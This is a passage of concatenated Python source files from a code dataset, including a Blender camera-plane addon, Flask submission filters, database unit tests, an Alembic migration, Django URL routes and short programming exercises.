bpy.ops.object.select_all(action='DESELECT')\n for cam in selection:\n cam.select = True\n cam.data.show_limits = True\n cam.data.clip_start = 0.5\n cam.data.clip_end = 4\n cam.scale[0] = 0.1\n cam.scale[1] = 0.1\n cam.scale[2] = 0.1\n return {'FINISHED'}\n\nclass OBJECT_OT_NoBetterCameras(bpy.types.Operator):\n bl_idname = \"nobetter.cameras\"\n bl_label = \"Disable Better Cameras\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n selection = bpy.context.selected_objects\n bpy.ops.object.select_all(action='DESELECT')\n for cam in selection:\n cam.select = True\n cam.data.show_limits = False\n return {'FINISHED'}\n\n#______________________________________________________________\n\nclass OBJECT_OT_CreateCameraImagePlane(bpy.types.Operator):\n \"\"\"Create image plane for camera\"\"\"\n bl_idname= \"object.createcameraimageplane\"\n bl_label=\"Camera Image Plane\"\n bl_options={'REGISTER', 'UNDO'}\n def SetupDriverVariables(self, driver, imageplane):\n camAngle = driver.variables.new()\n camAngle.name = 'camAngle'\n camAngle.type = 'SINGLE_PROP'\n camAngle.targets[0].id = imageplane.parent\n camAngle.targets[0].data_path=\"data.angle\"\n\n depth = driver.variables.new()\n depth.name = 'depth'\n depth.type = 'TRANSFORMS'\n depth.targets[0].id = imageplane\n depth.targets[0].data_path = 'location'\n depth.targets[0].transform_type = 'LOC_Z'\n depth.targets[0].transform_space = 'LOCAL_SPACE'\n\n def SetupDriversForImagePlane(self, imageplane):\n driver = imageplane.driver_add('scale',1).driver\n driver.type = 'SCRIPTED'\n self.SetupDriverVariables( driver, imageplane)\n #driver.expression =\"-depth*math.tan(camAngle/2)*resolution_y*pixel_y/(resolution_x*pixel_x)\"\n driver.expression =\"-depth*tan(camAngle/2)*bpy.context.scene.render.resolution_y * bpy.context.scene.render.pixel_aspect_y/(bpy.context.scene.render.resolution_x * bpy.context.scene.render.pixel_aspect_x)\"\n driver = imageplane.driver_add('scale',0).driver\n driver.type= 'SCRIPTED'\n self.SetupDriverVariables( driver, imageplane)\n driver.expression =\"-depth*tan(camAngle/2)\"\n\n # get selected camera (might traverse children of selected object until a camera is found?)\n # for now just pick the active object\n \n\n def createImagePlaneForCamera(self, camera):\n imageplane = None\n try:\n depth = 10\n\n #create imageplane\n bpy.ops.mesh.primitive_plane_add()#radius = 0.5)\n imageplane = bpy.context.active_object\n cameraname = correctcameraname(camera.name)\n imageplane.name = (\"objplane_\"+cameraname)\n bpy.ops.object.parent_set(type='OBJECT', keep_transform=False)\n bpy.ops.object.editmode_toggle()\n bpy.ops.mesh.select_all(action='TOGGLE')\n bpy.ops.transform.resize( value=(0.5,0.5,0.5))\n bpy.ops.uv.smart_project(angle_limit=66,island_margin=0, user_area_weight=0)\n bpy.ops.uv.select_all(action='TOGGLE')\n bpy.ops.transform.rotate(value=1.5708, axis=(0,0,1) )\n bpy.ops.object.editmode_toggle()\n\n imageplane.location = (0,0,-depth)\n imageplane.parent = camera\n\n #calculate scale\n #REPLACED WITH CREATING EXPRESSIONS\n self.SetupDriversForImagePlane(imageplane)\n\n #setup material\n if( len( imageplane.material_slots) == 0 ):\n bpy.ops.object.material_slot_add()\n #imageplane.material_slots.\n bpy.ops.material.new()\n mat_index = len(bpy.data.materials)-1\n imageplane.material_slots[0].material = bpy.data.materials[mat_index]\n material = imageplane.material_slots[0].material\n # if not returned by new use imgeplane.material_slots[0].material\n material.name = 'mat_imageplane_'+cameraname\n\n material.use_nodes = False\n\n\n activename = bpy.path.clean_name(bpy.context.scene.objects.active.name)\n\n undistortedpath = bpy.context.scene.BL_undistorted_path\n\n if not undistortedpath:\n raise Exception(\"Hey Buddy, you have to set the undistorted images path !\")\n\n bpy.context.object.data.uv_layers.active.data[0].image = bpy.data.images.load(undistortedpath+cameraname)\n\n bpy.ops.view3d.tex_to_material()\n\n except Exception as e:\n imageplane.select=False\n camera.select = True\n raise e\n return {'FINISHED'}\n\n def execute(self, context):\n# camera = bpy.context.active_object #bpy.data.objects['Camera']\n scene = context.scene\n undistortedpath = bpy.context.scene.BL_undistorted_path\n cam_ob = bpy.context.scene.camera\n\n if not undistortedpath:\n raise Exception(\"Set the Undistort path before to activate this command\")\n else:\n obj_exists = False\n for obj in cam_ob.children:\n if obj.name.startswith(\"objplane_\"):\n obj.hide = False\n obj_exists = True\n bpy.ops.object.select_all(action='DESELECT')\n scene.objects.active = obj\n obj.select_set(True)\n return {'FINISHED'}\n if obj_exists is False:\n camera = bpy.context.scene.camera\n return self.createImagePlaneForCamera(camera)\n\nclass OBJECT_OT_paintcam(bpy.types.Operator):\n bl_idname = \"paint.cam\"\n bl_label = \"Paint selected from current cam\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n\n scene = context.scene\n undistortedpath = bpy.context.scene.BL_undistorted_path\n cam_ob = bpy.context.scene.camera\n\n if not undistortedpath:\n raise Exception(\"Set the Undistort path before to activate this command\")\n else:\n for obj in cam_ob.children:\n if obj.name.startswith(\"objplane_\"):\n obj.hide = True\n bpy.ops.paint.texture_paint_toggle()\n bpy.context.space_data.show_only_render = True\n bpy.ops.image.project_edit()\n obj_camera = bpy.context.scene.camera\n \n undistortedphoto = undistortedpath+correctcameraname(obj_camera.name)\n cleanpath = bpy.path.abspath(undistortedphoto)\n bpy.ops.image.external_edit(filepath=cleanpath)\n\n bpy.context.space_data.show_only_render = False\n bpy.ops.paint.texture_paint_toggle()\n\n return {'FINISHED'}\n\nclass OBJECT_OT_applypaintcam(bpy.types.Operator):\n bl_idname = \"applypaint.cam\"\n bl_label = \"Apply paint\"\n bl_options = {\"REGISTER\"}\n\n def execute(self, context):\n bpy.ops.paint.texture_paint_toggle()\n bpy.ops.image.project_apply()\n bpy.ops.paint.texture_paint_toggle()\n return {'FINISHED'}\n\n\n","sub_path":"All_In_One/addons/3D-survey-collection-master/PhotogrTool.py","file_name":"PhotogrTool.py","file_ext":"py","file_size_in_byte":10677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"108329813","text":"# -*- coding: utf-8 -*-\nfrom operator import itemgetter\n\nfrom cgi import escape\nfrom dateutil.parser import parse\nfrom dateutil.tz import gettz, UTC\nfrom flask_babelex import lazy_gettext as _\nfrom sqlalchemy import Integer, and_, false, or_, true\nfrom sqlalchemy.dialects.postgresql import array\nfrom wtforms import widgets\nfrom wtforms.compat import text_type\nfrom wtforms.widgets import html_params, HTMLString\nfrom wtforms_alchemy.fields import QuerySelectField\n\nfrom apollo import models, services\nfrom apollo.core import BooleanFilter, CharFilter, ChoiceFilter, FilterSet\nfrom apollo.helpers import _make_choices\nfrom apollo.settings import TIMEZONE\n\nAPP_TZ = gettz(TIMEZONE)\n\n\nclass TagLookupFilter(ChoiceFilter):\n def __init__(self, *args, **kwargs):\n self.contains = kwargs.pop('contains', None)\n super().__init__(*args, **kwargs)\n\n def filter(self, query, value, **kwargs):\n if value:\n if value == 'NULL':\n condition = (models.Submission.data[self.name] == None) # noqa\n elif value == 'NOT_NULL':\n condition = (models.Submission.data[self.name] != None) # noqa\n else:\n condition = (models.Submission.data[self.name] == value)\n\n return (condition, None)\n elif self.contains:\n condition = (models.Submission.data[self.name] != None) # noqa\n return (condition, None)\n\n return (None, None)\n\n\ndef make_submission_sample_filter(location_set_id):\n class SubmissionSampleFilter(ChoiceFilter):\n def __init__(self, *args, **kwargs):\n sample_choices = services.samples.find(\n location_set_id=location_set_id\n ).with_entities(models.Sample.id, models.Sample.name).all()\n\n kwargs['choices'] = _make_choices(sample_choices, _('Sample'))\n super().__init__(*args, **kwargs)\n\n def queryset_(self, query, value, **kwargs):\n if value:\n joined_classes = [mapper.class_ for mapper in query._join_entities]\n if models.Location in joined_classes:\n query1 = query\n else:\n query1 = query.join(models.Submission.location)\n query2 = query1.join(\n models.samples_locations,\n models.samples_locations.c.location_id == models.Location.id # noqa\n ).join(\n models.Sample,\n models.samples_locations.c.sample_id == models.Sample.id\n )\n return query2.filter(models.Sample.id == value)\n\n return query\n\n return SubmissionSampleFilter\n\n\ndef make_base_submission_filter(event):\n class BaseSubmissionFilterSet(FilterSet):\n sample = make_submission_sample_filter(event.location_set_id)()\n\n return BaseSubmissionFilterSet\n\n\nclass IncidentStatusFilter(ChoiceFilter):\n def __init__(self, *args, **kwargs):\n kwargs['choices'] = (\n ('', _('All Incidents')),\n ('NULL', _('Unmarked Incidents')),\n ('confirmed', _('Confirmed Incidents')),\n ('rejected', _('Rejected Incidents')),\n ('citizen', _('Citizen Report Incidents')),\n )\n super().__init__(*args, **kwargs)\n\n def filter(self, query, value, **kwargs):\n if value:\n if value == 'NULL':\n return (models.Submission.incident_status == None, None) # noqa\n\n return (models.Submission.incident_status == value, None)\n\n return (None, None)\n\n\ndef make_submission_analysis_filter(event, form):\n attributes = {}\n if form.form_type == 'INCIDENT':\n attributes['status'] = IncidentStatusFilter(default='confirmed')\n\n return type(\n 'SubmissionAnalysisFilterSet',\n (make_base_submission_filter(event),),\n attributes\n )\n\n\ndef make_incident_location_filter(event, form, tag):\n base_filter_class = make_submission_analysis_filter(event, form)\n\n attributes = {\n tag: TagLookupFilter(\n choices=(('NOT_NULL', ''),),\n contains=True,\n default='NOT_NULL',\n widget=widgets.HiddenInput()\n )\n }\n\n return type(\n 'CriticalIncidentLocationFilterSet',\n (base_filter_class,),\n attributes)\n\n\nclass FormGroupFilter(ChoiceFilter):\n def __init__(self, *args, **kwargs):\n self.formobj = kwargs.pop('form')\n self.group = kwargs.pop('group')\n super().__init__(*args, **kwargs)\n\n def filter(self, query, value, **kwargs):\n group_tags = self.formobj.get_group_tags(self.group['name'])\n\n if value == '1':\n # Partial\n if group_tags:\n constraint = and_(\n ~models.Submission.data.has_all(array(group_tags)),\n models.Submission.data.has_any(array(group_tags))\n )\n else:\n constraint = false()\n elif value == '2':\n # Missing\n if group_tags:\n constraint = or_(\n ~models.Submission.data.has_any(array(group_tags)),\n models.Submission.data == None # noqa\n )\n else:\n constraint = true()\n elif value == '3':\n # Complete\n if group_tags:\n constraint = models.Submission.data.has_all(array(group_tags))\n else:\n constraint = false()\n elif value == '4':\n # Conflict\n if group_tags:\n query_params = [\n models.Submission.conflicts.has_key(tag) # noqa\n for tag in group_tags\n ]\n constraint = or_(*query_params)\n else:\n constraint = false()\n else:\n constraint = None\n\n if constraint is None:\n return (None, None)\n else:\n form_ = kwargs['form']\n if form_.data and form_.data.get('conjunction') is True:\n # OR conjunction\n return (None, constraint)\n else:\n # AND conjunction\n return (constraint, None)\n\n\nclass FieldOptionFilter(ChoiceFilter):\n def filter(self, query, value, **kwargs):\n if value:\n return (\n models.Submission.data[self.name].astext.cast(\n Integer) == int(value),\n None\n )\n\n return (None, None)\n\n\nclass FieldValueFilter(CharFilter):\n pass\n\n\nclass ParticipantIDFilter(CharFilter):\n def filter(self, query, value, **kwargs):\n if value:\n return (\n models.Participant.participant_id == value,\n None\n )\n\n return (None, None)\n\n\nclass SubmissionQuarantineStatusFilter(ChoiceFilter):\n def filter(self, query, value, **kwargs):\n if value and value == 'N':\n return (\n or_(\n models.Submission.quarantine_status == None, # noqa\n models.Submission.quarantine_status == ''),\n None\n )\n elif value in ('A', 'R'):\n return (models.Submission.quarantine_status == value, None)\n elif value == 'AR':\n return (\n or_(\n models.Submission.quarantine_status == 'A',\n models.Submission.quarantine_status == 'R'\n ),\n None\n )\n else:\n return (None, None)\n\n\nclass SubmissionSenderVerificationFilter(ChoiceFilter):\n def filter(self, query, value, **kwargs):\n if value and value == '1':\n return (\n models.Submission.sender_verified == True, # noqa\n None\n )\n elif value:\n return (\n models.Submission.sender_verified == False, # noqa\n None\n )\n\n return (None, None)\n\n\nclass OnlineStatusFilter(ChoiceFilter):\n def filter(self, query, value, **kwargs):\n if value and value == '1':\n return (\n models.Submission.unreachable == True, # noqa\n None\n )\n elif value:\n return (\n models.Submission.unreachable == False, # noqa\n None\n )\n\n return (None, None)\n\n\nclass DateFilter(CharFilter):\n def filter(self, query, value, **kwargs):\n if value:\n try:\n dt = parse(value, dayfirst=True)\n except (OverflowError, ValueError):\n return (None, None)\n\n dt = dt.replace(tzinfo=APP_TZ)\n upper_bound = dt.replace(hour=23, minute=59, second=59).astimezone(\n UTC).replace(tzinfo=None)\n lower_bound = dt.replace(hour=0, minute=0, second=0).astimezone(\n UTC).replace(tzinfo=None)\n\n return (\n and_(\n models.Submission.participant_updated >= lower_bound,\n models.Submission.participant_updated <= upper_bound\n ),\n None\n )\n\n return (None, None)\n\n\nclass LocationSelectWidget(widgets.Select):\n @classmethod\n def render_option(cls, value, label, selected, **kwargs):\n options = dict(kwargs, value=value)\n if selected:\n options['selected'] = True\n if hasattr(label, 'location_type'):\n return HTMLString('' % (\n html_params(**options),\n escape(text_type(label.name)),\n escape(text_type(label.location_type))))\n else:\n return HTMLString('' % (\n html_params(**options),\n escape(text_type(label))))\n\n\nclass ParticipantSelectWidget(widgets.Select):\n @classmethod\n def render_option(cls, value, label, selected, **kwargs):\n options = dict(kwargs, value=value)\n if selected:\n options['selected'] = True\n if hasattr(label, 'participant_id'):\n return HTMLString('' % (\n html_params(**options),\n escape(text_type(label.participant_id)),\n escape(text_type(label.name))))\n else:\n return HTMLString('' % (\n html_params(**options),\n escape(text_type(label))))\n\n\nclass LocationQuerySelectField(QuerySelectField):\n widget = LocationSelectWidget()\n\n def process_formdata(self, valuelist):\n if valuelist and valuelist[0] and valuelist[0] != '__None':\n self.query = models.Location.query.filter(\n models.Location.id == valuelist[0])\n return super(LocationQuerySelectField, self).process_formdata(\n valuelist)\n\n\nclass ParticipantQuerySelectField(QuerySelectField):\n widget = ParticipantSelectWidget()\n\n def process_formdata(self, valuelist):\n if valuelist and valuelist[0] and valuelist[0] != '__None':\n self.query = models.Participant.query.filter(\n models.Participant.id == valuelist[0])\n return super(ParticipantQuerySelectField, self).process_formdata(\n valuelist)\n\n\nclass FormSerialNumberFilter(CharFilter):\n def filter(self, query, value, **kwargs):\n if value:\n return (\n models.Submission.serial_no == value,\n None\n )\n\n return (None, None)\n\n\ndef make_submission_location_filter(location_set_id):\n class AJAXLocationFilter(ChoiceFilter):\n field_class = LocationQuerySelectField\n\n def __init__(self, *args, **kwargs):\n kwargs['query_factory'] = lambda: []\n kwargs['get_pk'] = lambda i: i.id\n\n super().__init__(*args, **kwargs)\n\n def queryset_(self, query, value, **kwargs):\n if value:\n location_query = models.Location.query.with_entities(\n models.Location.id\n ).join(\n models.LocationPath,\n models.Location.id == models.LocationPath.descendant_id\n ).filter(models.LocationPath.ancestor_id == value.id)\n\n return query.filter(\n models.Submission.location_id.in_(location_query))\n\n return query\n\n return AJAXLocationFilter\n\n\ndef make_dashboard_filter(event):\n attributes = {}\n attributes['location'] = make_submission_location_filter(\n event.location_set_id)()\n attributes['sample'] = make_submission_sample_filter(\n event.location_set_id)()\n\n return type(\n 'SubmissionFilterSet',\n (make_base_submission_filter(event),),\n attributes)\n\n\ndef make_submission_list_filter(event, form):\n attributes = {}\n form._populate_field_cache()\n\n if form.data and form.data.get('groups'):\n if form.form_type == 'INCIDENT':\n option_fields = [\n f for f in form._field_cache.values()\n if f['type'] == 'select']\n for field in option_fields:\n choices = _make_choices(sorted(\n ((v, '{} - {}'.format(field['tag'], k)) for k, v in\n field['options'].items()),\n key=itemgetter(0)\n ), field['tag'])\n attributes[field['tag']] = FieldOptionFilter(choices=choices)\n\n for group in form.data.get('groups'):\n field_name = '{}__{}'.format(form.id, group['slug'])\n choices = [\n ('', _('%(group)s Status', group=group['name'])),\n ('1', _('%(group)s Partial', group=group['name'])),\n ('2', _('%(group)s Missing', group=group['name'])),\n ('3', _('%(group)s Complete', group=group['name'])),\n ('4', _('%(group)s Conflict', group=group['name']))\n ]\n attributes[field_name] = FormGroupFilter(\n choices=choices, form=form, group=group)\n\n if form.form_type == 'INCIDENT':\n attributes['status'] = IncidentStatusFilter()\n elif form.form_type in ['CHECKLIST', 'SURVEY']:\n attributes['quarantine_status'] = SubmissionQuarantineStatusFilter(\n choices=(\n ('', _('Quarantine Status')),\n ('A', _('Quarantine All')),\n ('R', _('Quarantine Results')),\n ('AR', _('Quarantine All + Results')),\n ('N', _('Quarantine None')),\n ), default='')\n attributes['sender_verification'] = SubmissionSenderVerificationFilter(\n choices=(\n ('', _('Phone Confirmation')),\n ('1', _('Phone Confirmed')),\n ('2', _('Phone Unconfirmed'))\n ))\n\n attributes['participant_id'] = ParticipantIDFilter()\n attributes['location'] = make_submission_location_filter(\n event.location_set_id)()\n attributes['conjunction'] = BooleanFilter(\n label=_('Optional Inclusion')\n )\n attributes['online_status'] = OnlineStatusFilter(\n choices=(\n ('', _('Signal Status')),\n ('0', _('Signal')),\n ('1', _('No Signal'))\n )\n )\n attributes['date'] = DateFilter()\n attributes['fsn'] = FormSerialNumberFilter()\n\n return type(\n 'SubmissionFilterSet',\n (make_base_submission_filter(event),),\n attributes)\n","sub_path":"apollo/submissions/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":15517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"271226301","text":"# -*- coding: utf-8 -\n#\n# This file is part of the restpose python module, released under the MIT\n# license. See the COPYING file for more information.\n\nfrom .helpers import RestPoseTestCase\nfrom .. import Server, CheckPointExpiredError, ResourceNotFound\nfrom ..client import CheckPoint\nimport sys\n\nclass IndexTest(RestPoseTestCase):\n\n def test_delete_db(self):\n \"\"\"Test that deleting a database functions correctly.\n\n \"\"\"\n coll = Server().collection(\"test_coll\")\n coll.delete()\n doc = { 'text': 'Hello world', 'tag': 'A tag', 'cat': \"greeting\",\n 'empty': \"\" }\n coll.add_doc(doc, doc_type=\"blurb\", doc_id=\"1\")\n self.wait(coll)\n self.assertEqual(coll.get_doc(\"blurb\", \"1\").data,\n dict(\n cat = ['greeting'],\n empty = [''],\n id = ['1'],\n tag = ['A tag'],\n text = ['Hello world'],\n type = ['blurb'],\n ))\n\n self.assertTrue('test_coll' in Server().collections)\n\n coll.delete()\n\n # Need to set commit=False, or the checkpoint re-creates the\n # collection.\n self.wait(coll, commit=False)\n self.assertTrue('test_coll' not in Server().collections)\n msg = None\n try:\n coll.get_doc(\"blurb\", \"1\").data\n except ResourceNotFound:\n e = sys.exc_info()[1] # Python 2/3 compatibility\n msg = e.msg\n self.assertEqual(msg, 'No collection of name \"test_coll\" exists')\n\n def test_delete_doc(self):\n \"\"\"Test that deleting a document functions correctly.\n\n \"\"\"\n coll = Server().collection(\"test_coll\")\n coll.delete()\n\n # Check deleting a document via the collection.\n doc = { 'text': 'Hello world', 'tag': 'A tag', 'cat': \"greeting\",\n 'empty': \"\" }\n coll.add_doc(doc, doc_type=\"blurb\", doc_id=\"1\")\n self.wait(coll)\n self.assertEqual(coll.get_doc(\"blurb\", \"1\").data,\n dict(\n cat = ['greeting'],\n empty = [''],\n id = ['1'],\n tag = ['A tag'],\n text = ['Hello world'],\n type = ['blurb'],\n ))\n\n coll.delete_doc(doc_type=\"blurb\", doc_id=\"1\")\n self.wait(coll)\n msg = None\n try:\n coll.get_doc(\"blurb\", \"1\").data\n except ResourceNotFound:\n e = sys.exc_info()[1] # Python 2/3 compatibility\n msg = e.msg\n self.assertEqual(msg, 'No document found of type \"blurb\" and id \"1\"')\n\n # Check deleting a document via the type object.\n t = coll.doc_type(\"blurb\")\n t.add_doc(doc, doc_id=\"1\")\n self.wait(coll)\n self.assertEqual(t.get_doc(\"1\").data,\n dict(\n cat = ['greeting'],\n empty = [''],\n id = ['1'],\n tag = ['A tag'],\n text = ['Hello world'],\n type = ['blurb'],\n ))\n\n t.delete_doc(doc_id=\"1\")\n self.wait(coll)\n msg = None\n try:\n t.get_doc(\"1\").data\n except ResourceNotFound:\n e = sys.exc_info()[1] # Python 2/3 compatibility\n msg = e.msg\n self.assertEqual(msg, 'No document found of type \"blurb\" and id \"1\"')\n\n def test_index_id_or_type_errors(self):\n \"\"\"Test that errors due to bad ID or type specifications when indexing\n are reported correctly.\n\n \"\"\"\n coll = Server().collection(\"test_coll\")\n coll.delete()\n doc = { 'text': 'test doc', 'type': 'foo', 'id': '1' }\n # All the following combinations should be successful.\n coll.add_doc(doc)\n doc['id'] = 2\n coll.add_doc(doc, doc_type='foo')\n doc['id'] = 3\n coll.add_doc(doc, doc_id=3)\n doc['id'] = 4\n coll.add_doc(doc, doc_id=\"4\")\n doc['id'] = 5\n coll.add_doc(doc, doc_type=\"foo\", doc_id=5)\n doc['id'] = \"6\"\n coll.add_doc(doc, doc_type=\"foo\", doc_id=6)\n\n coll.add_doc(doc, doc_type='oof1') # Error: mismatched types\n coll.add_doc(doc, doc_id=12) # Error: mismatched ids\n coll.doc_type('oof2').add_doc(doc) # Error: mismatched types\n coll.add_doc(doc, doc_type='oof3', doc_id=13) # Error: mismatched types\n coll.doc_type('oof4').add_doc(doc, doc_id=14) # Error: mismatched types\n coll.doc_type('foo').add_doc(doc, doc_id=15) # Error: mismatched ids\n coll.add_doc(doc, doc_id=16) # Error: mismatched ids\n doc['id'] = [7,8]\n coll.add_doc(doc)\n del doc['type']\n coll.add_doc(doc) # Error: no type specified\n\n chk = coll.checkpoint().wait()\n self.assertEqual(chk.total_errors, 9)\n self.assertEqual(len(chk.errors), 9)\n def mkkey(x): return x.get('doc_id', '') + x.get('doc_type', '') + x.get('msg')\n expected_errors = [\n {'msg': 'Indexing error in field \"type\": \"No document type supplied or stored in document.\"'},\n {'msg': 'Indexing error in field \"type\": \"Document type supplied differs from that inside document.\"', 'doc_type': 'oof1'},\n {'msg': 'Indexing error in field \"id\": \"Document id supplied (\\'12\\') differs from that inside document (\\'6\\').\"', 'doc_id': '12'},\n {'msg': 'Indexing error in field \"type\": \"Document type supplied differs from that inside document.\"', 'doc_type': 'oof2'},\n {'msg': 'Indexing error in field \"type\": \"Document type supplied differs from that inside document.\"', 'doc_type': 'oof3', 'doc_id': '13'},\n {'msg': 'Indexing error in field \"type\": \"Document type supplied differs from that inside document.\"', 'doc_type': 'oof4', 'doc_id': '14'},\n {'msg': 'Indexing error in field \"id\": \"Document id supplied (\\'15\\') differs from that inside document (\\'6\\').\"', 'doc_type': 'foo', 'doc_id': '15'},\n {'msg': 'Indexing error in field \"id\": \"Document id supplied (\\'16\\') differs from that inside document (\\'6\\').\"', 'doc_id': '16'},\n {'msg': 'Indexing error in field \"id\": \"Multiple ID values provided - must have only one\"'},\n ]\n self.assertEqual(sorted(chk.errors, key=mkkey),\n sorted(expected_errors, key=mkkey))\n\n self.assertEqual(coll.get_doc('foo', '1').data,\n dict(text=['test doc'], type=['foo'], id=['1']))\n self.assertEqual(coll.get_doc('foo', '2').data,\n dict(text=['test doc'], type=['foo'], id=[2]))\n self.assertEqual(coll.get_doc('foo', '3').data,\n dict(text=['test doc'], type=['foo'], id=[3]))\n self.assertEqual(coll.get_doc('foo', '4').data,\n dict(text=['test doc'], type=['foo'], id=[4]))\n self.assertEqual(coll.get_doc('foo', '5').data,\n dict(text=['test doc'], type=['foo'], id=[5]))\n self.assertEqual(coll.get_doc('foo', '6').data,\n dict(text=['test doc'], type=['foo'], id=[\"6\"]))\n\n def test_checkpoint(self):\n coll = Server().collection(\"test_coll\")\n\n # Check that accessing the id works.\n c = coll.checkpoint(commit=False)\n id = c.check_id\n self.assertTrue(len(id) > 10)\n\n c = CheckPoint(coll, {'checkid': 'fake_checkid'})\n self.assertEqual(c.check_id, 'fake_checkid')\n self.assertRaises(CheckPointExpiredError, getattr, c, 'reached')\n self.assertRaises(CheckPointExpiredError, getattr, c, 'errors')\n self.assertRaises(CheckPointExpiredError, getattr, c, 'total_errors')\n self.assertRaises(CheckPointExpiredError, c.wait)\n\n def test_custom_config(self):\n coll = Server().collection(\"test_coll\")\n coll.delete()\n self.wait(coll)\n config = coll.config\n self.assertEqual(config['format'], 3)\n self.assertEqual(list(config['types'].keys()), [])\n\n coll.config = {'types': {'foo': {\n 'alpha': {'type': 'text'}\n }}}\n self.wait(coll, [{'msg': 'Setting collection config failed with ' +\n 'RestPose::InvalidValueError: Member format was missing'}])\n self.assertEqual(list(config['types'].keys()), [])\n coll.config = {'format': 3,\n 'types': {'foo': {\n 'alpha': {'type': 'text'}\n }}\n }\n self.wait(coll)\n config = coll.config\n self.assertEqual(config['format'], 3)\n self.assertEqual(list(config['types'].keys()), ['foo'])\n coll.delete()\n self.wait(coll)\n\n def test_get_name(self):\n coll = Server().collection(\"test_coll\")\n self.assertEqual(coll.name, 'test_coll')\n t = coll.doc_type(\"blurb\")\n self.assertEqual(t.name, 'blurb')\n","sub_path":"restpose/unittests/index_test.py","file_name":"index_test.py","file_ext":"py","file_size_in_byte":9166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"309315319","text":"\"\"\"abc fix time\n\nRevision ID: 467de01c9a43\nRevises: 52b433e902c5\nCreate Date: 2020-05-17 22:23:55.044329\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '467de01c9a43'\ndown_revision = '52b433e902c5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('news', sa.Column('timestamp', sa.DateTime(), nullable=True))\n op.create_index(op.f('ix_news_timestamp'), 'news', ['timestamp'], unique=False)\n op.drop_index('ix_news_time', table_name='news')\n op.create_unique_constraint(None, 'news', ['picture'])\n op.drop_column('news', 'time')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('news', sa.Column('time', sa.DATETIME(), nullable=True))\n op.drop_constraint(None, 'news', type_='unique')\n op.create_index('ix_news_time', 'news', ['time'], unique=False)\n op.drop_index(op.f('ix_news_timestamp'), table_name='news')\n op.drop_column('news', 'timestamp')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/467de01c9a43_abc_fix_time.py","file_name":"467de01c9a43_abc_fix_time.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"375684009","text":"from django.urls import path\n\napp_name = 'restApp'\n\nfrom . import views\n\n\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('add_food/', views.add_food, name='add_food'),\n path('edit_food/', views.edit_food, name='edit_food'),\n path('edit_particular_food/', views.edit_particular_food, name='edit_particular_food'),\n path('update_time/', views.update_time, name='update_time'),\n path('update_logo/', views.update_logo, name='update_logo'),\n path('update_location/', views.update_location, name='update_location'),\n]\n","sub_path":"restApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"587604961","text":"#!/usr/bin/env python3\n\n# Google Code Jam\n# Qualification Round 2016\n# Problem D. Fractiles\n# Solution in Python by Smithers\n\ndef tileindex(k, c, s, i):\n n = 1\n for j in range(c):\n n += (i + j * s if i + j * s < k else 0) * (k ** j)\n return n\n\ndef solve(k, c, s):\n if s * c < k:\n return 'IMPOSSIBLE',\n \n return [tileindex(k, c, s, i) for i in range(s)]\n\nfor i in range(int(input())):\n k, c, s = (int(x) for x in input().split())\n print('Case #{}:'.format(i + 1), *solve(k, c, s))\n","sub_path":"solutions_5636311922769920_0/Python/Smithers/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"427766760","text":"# Given an integer array nums , find the sum of the elements between indices i and j ( i ≤ j ), inclusive.\n\n# Example:\n# Given nums = [-2, 0, 3, -5, 2, -1]\n\n# sumRange(0, 2) -> 1\n# sumRange(2, 5) -> -1\n# sumRange(0, 5) -> -3\n# Note:\n# You may assume that the array does not change.\n# There are many calls to sumRange function.\n\ndef range_sum_query(arr):\n\ttotal = [0] * len(arr)\n\n\tfor i in range(len(arr)):\n\t\t#print(total[i - 1])\n\t\ttotal[i] = total[i - 1] + arr[i]\n\n\tprint(total)\n\tprint(sumRange(0, 2, total))\n\tprint(sumRange(2, 5, total))\n\treturn\n\ndef sumRange(i, j, total):\n\treturn total[j] if i == 0 else total[j] - total[i - 1]\n\nprint(range_sum_query([1, 2, 3, 5, 2, 1]))\n","sub_path":"Facebook/RangeSumQuery.py","file_name":"RangeSumQuery.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"591786133","text":"# Replace spaces in the middle of a string with \"%20\" assuming the end of the\n# string contains twice as many spaces as are in the middle.\n\n\ndef escape_spaces_1(string):\n return string.strip().replace(\" \", \"%20\")\n\n#work backwards\ndef urlify(string, length):\n '''function replaces single spaces with %20 and removes trailing spaces'''\n new_index = len(string)\n print(new_index)\n\n for i in reversed(range(length)):\n if string[i] == ' ':\n # Replace spaces\n string[new_index - 3:new_index] = '%20'\n print(string)\n new_index -= 3\n else:\n # Move characters\n string[new_index - 1] = string[i]\n print('else',string)\n new_index -= 1\n\n return ''.join(string)\n\ntestString = list('much ado about nothing ')\nprint(testString)\nprint(urlify(testString, 22))\n","sub_path":"CTCI_Python/URLify.py","file_name":"URLify.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"600817593","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.init as init\nimport torchvision.datasets as dset\nimport torchvision.transforms as transforms\nfrom torch.utils.data import DataLoader\n\nbatch_size = 256\nlearning_rate = 0.0002\nnum_epoch = 10\n\nmnist_train = dset.MNIST(\"./\", train=True, 